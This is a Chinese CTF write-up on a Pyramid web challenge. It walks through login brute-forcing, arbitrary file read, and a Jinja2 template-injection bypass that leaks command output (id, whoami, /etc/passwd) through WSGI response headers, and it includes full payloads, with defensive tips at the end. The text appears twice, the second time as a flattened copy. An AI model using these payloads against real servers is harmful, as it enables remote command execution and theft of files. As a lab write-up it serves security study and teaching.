pyramid 框架无回显挖掘
字数 1039 2025-08-22 12:22:15

Pyramid框架无回显漏洞挖掘与利用技术文档

1. 漏洞背景

本文档基于国城杯CTF比赛中一道Pyramid框架题目,重点探讨Pyramid框架下的无回显漏洞挖掘与利用技术。题目场景为无回显、不出网环境下的漏洞利用,最终通过技术手段实现命令执行和回显。

2. 初始信息收集

2.1 登录爆破

  • 题目存在用户登录功能
  • 有验证码保护,但提示密码为纯数字
  • 成功爆破出密码为"123456"
  • 登录用户为"admin"

2.2 文件读取漏洞

  • 观察URL格式:http://125.70.243.22:31197/info?file=洛神赋图.txt
  • 存在任意文件读取漏洞
  • 可读取/etc/目录但未发现flag
  • 成功读取到app.py源码

3. 源码分析

3.1 关键路由与功能

# 主要路由配置
config.add_route('root', '/')
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')
config.add_route('info', '/info')
config.add_route('login', '/login')
config.add_route('shell', '/shell')

3.2 核心漏洞点 - shell_view

def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)
    
    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', 
        r'.*[0-9].*', r'.*\..*', 
        r'.*soft.*', r'.*%.*'
    ]
    
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result != None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')

3.3 漏洞特征

  • 存在Jinja2模板注入漏洞
  • 黑名单过滤:
    • 数字、点号、百分号
    • 关键词:length、count、soft
  • 无直接回显,仅返回success/error

4. 无回显利用技术

4.1 利用思路

通过修改WSGI处理过程中的HTTP响应头实现回显,具体步骤:

  1. 定位WSGI处理类
  2. 修改响应头相关属性
  3. 注入命令执行结果到响应头

4.2 关键对象定位

  1. 通过lipsum.__globals__访问内置对象
  2. 定位wsgiref.simple_server模块
  3. 找到ServerHandler
# 定位wsgiref模块
{{lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.__dict__}}

# 获取ServerHandler类
{{lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler}}

4.3 回显构造方法

方法1:修改http_version属性

{{lipsum.__globals__.__builtins__.setattr(
    lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,
    "http_version",
    lipsum.__globals__.__builtins__.__import__('os').popen('id').read()
)}}

方法2:修改server_software属性

{{lipsum.__globals__.__builtins__.setattr(
    lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,
    "server_software",
    lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}

4.4 利用原理分析

WSGI处理流程中的关键方法:

def send_preamble(self):
    """Transmit version/status/date/server, via self._write()"""
    if self.origin_server:
        if self.client_is_modern():
            self._write(('HTTP/%s %s\r\n' % (self.http_version, self.status)).encode('iso-8859-1'))
        if 'Date' not in self.headers:
            self._write(('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1'))
        if self.server_software and 'Server' not in self.headers:
            self._write(('Server: %s\r\n' % self.server_software).encode('iso-8859-1'))
    else:
        self._write(('Status: %s\r\n' % self.status).encode('iso-8859-1'))
  • http_versionserver_software都会被写入HTTP响应头
  • 通过修改这些属性,可以将命令执行结果回显到响应头中

5. 完整利用链

  1. 登录系统获取admin会话
  2. 访问shell路由注入模板代码
  3. 通过修改ServerHandler属性实现回显

示例Payload:

http://127.0.0.1:6543/shell?shellcmd={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,"server_software",lipsum.__globals__.__builtins__.__import__('os').popen('cat+/etc/passwd').read())}}

6. 防御建议

  1. 避免直接渲染用户输入的模板
  2. 严格过滤模板渲染上下文
  3. 使用安全的模板渲染方式
  4. 限制内置对象的访问
  5. 实施更严格的黑名单/白名单机制

7. 总结

本文详细分析了Pyramid框架下无回显漏洞的挖掘与利用技术,重点介绍了通过修改WSGI处理过程中的HTTP响应头属性实现命令执行回显的方法。这种技术在无回显、不出网环境下特别有效,为安全研究人员提供了新的渗透测试思路。

Pyramid框架无回显漏洞挖掘与利用技术文档 1. 漏洞背景 本文档基于国城杯CTF比赛中一道Pyramid框架题目,重点探讨Pyramid框架下的无回显漏洞挖掘与利用技术。题目场景为无回显、不出网环境下的漏洞利用,最终通过技术手段实现命令执行和回显。 2. 初始信息收集 2.1 登录爆破 题目存在用户登录功能 有验证码保护,但提示密码为纯数字 成功爆破出密码为"123456" 登录用户为"admin" 2.2 文件读取漏洞 观察URL格式: http://125.70.243.22:31197/info?file=洛神赋图.txt 存在任意文件读取漏洞 可读取 /etc/ 目录但未发现flag 成功读取到 app.py 源码 3. 源码分析 3.1 关键路由与功能 3.2 核心漏洞点 - shell_ view 3.3 漏洞特征 存在Jinja2模板注入漏洞 黑名单过滤: 数字、点号、百分号 关键词:length、count、soft 无直接回显,仅返回success/error 4. 无回显利用技术 4.1 利用思路 通过修改WSGI处理过程中的HTTP响应头实现回显,具体步骤: 定位WSGI处理类 修改响应头相关属性 注入命令执行结果到响应头 4.2 关键对象定位 通过 lipsum.__globals__ 访问内置对象 定位 wsgiref.simple_server 模块 找到 ServerHandler 类 4.3 回显构造方法 方法1:修改http_ version属性 方法2:修改server_ software属性 4.4 利用原理分析 WSGI处理流程中的关键方法: http_version 和 server_software 都会被写入HTTP响应头 通过修改这些属性,可以将命令执行结果回显到响应头中 5. 完整利用链 登录系统获取admin会话 访问shell路由注入模板代码 通过修改ServerHandler属性实现回显 示例Payload: 6. 防御建议 避免直接渲染用户输入的模板 严格过滤模板渲染上下文 使用安全的模板渲染方式 限制内置对象的访问 实施更严格的黑名单/白名单机制 7. 总结 本文详细分析了Pyramid框架下无回显漏洞的挖掘与利用技术,重点介绍了通过修改WSGI处理过程中的HTTP响应头属性实现命令执行回显的方法。这种技术在无回显、不出网环境下特别有效,为安全研究人员提供了新的渗透测试思路。